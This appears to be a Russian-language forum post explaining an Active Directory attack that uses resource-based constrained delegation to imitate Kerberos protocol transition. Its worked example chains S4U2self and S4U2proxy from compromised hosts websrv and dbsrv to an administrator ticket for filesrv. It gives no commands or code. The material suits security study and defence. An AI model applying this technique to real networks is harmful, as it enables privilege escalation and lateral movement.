Однако возможно, что вы скомпрометируете учетные записи с классическим ограниченным делегированием, в которых не включен переход протокола (S4U2self), поэтому вы не сможете запросить билет для любого пользователя. В этом случае вы можете использовать RBCD (https://shenaniganslabs.io/2019/01/...unts-collude---trustedtoauthfordelegation-who) для имитации смены протокола. Это означает, что вы можете включить RBCD со скомпрометированной учетной записи (с классическим ограниченным делегированием) на другую учетную запись, чтобы другая учетная запись могла запрашивать билет для любого пользователя на скомпрометированную учетную запись, которую можно пересылать, поскольку она создается S4U2proxy (https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#a-forwardable-result)(прокси-сервером S4U2)(спецификация была обновлена (https://docs.microsoft.com/en-us/op...11-40d6-93d1-165a3afa0223?redirectedfrom=MSDN), но этот факт, похоже, остался верным), таким образом имитируя Protocol Transition.

Это может быть немного сложно, поэтому давайте рассмотрим пример, когда dbsrv скомпрометирован и имеет классическое ограниченное делегирование, но без смены протокола. Однако websrv также скомпрометирован и может использоваться для перехода на протокол RBCD. Затем включается RBCD с websrv на dbsrv, и websrv используется для имитации перехода протокола и, наконец, получает ST администратора для компрометации filesrv следующим образом.

1654419399800.png


На первых четырех этапах websrv использует S4U2self и S4U2proxy для получения пересылаемого ST MSSQLSvc/dbsrv для администратора, таким образом имитируя переход протокола. Затем websrv отправляет этот ST администратора в dbsrv, который использует его для S4U2proxy и запрашивает ST CIFS/filesrv для администратора, что позволяет скомпрометировать filesrv.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх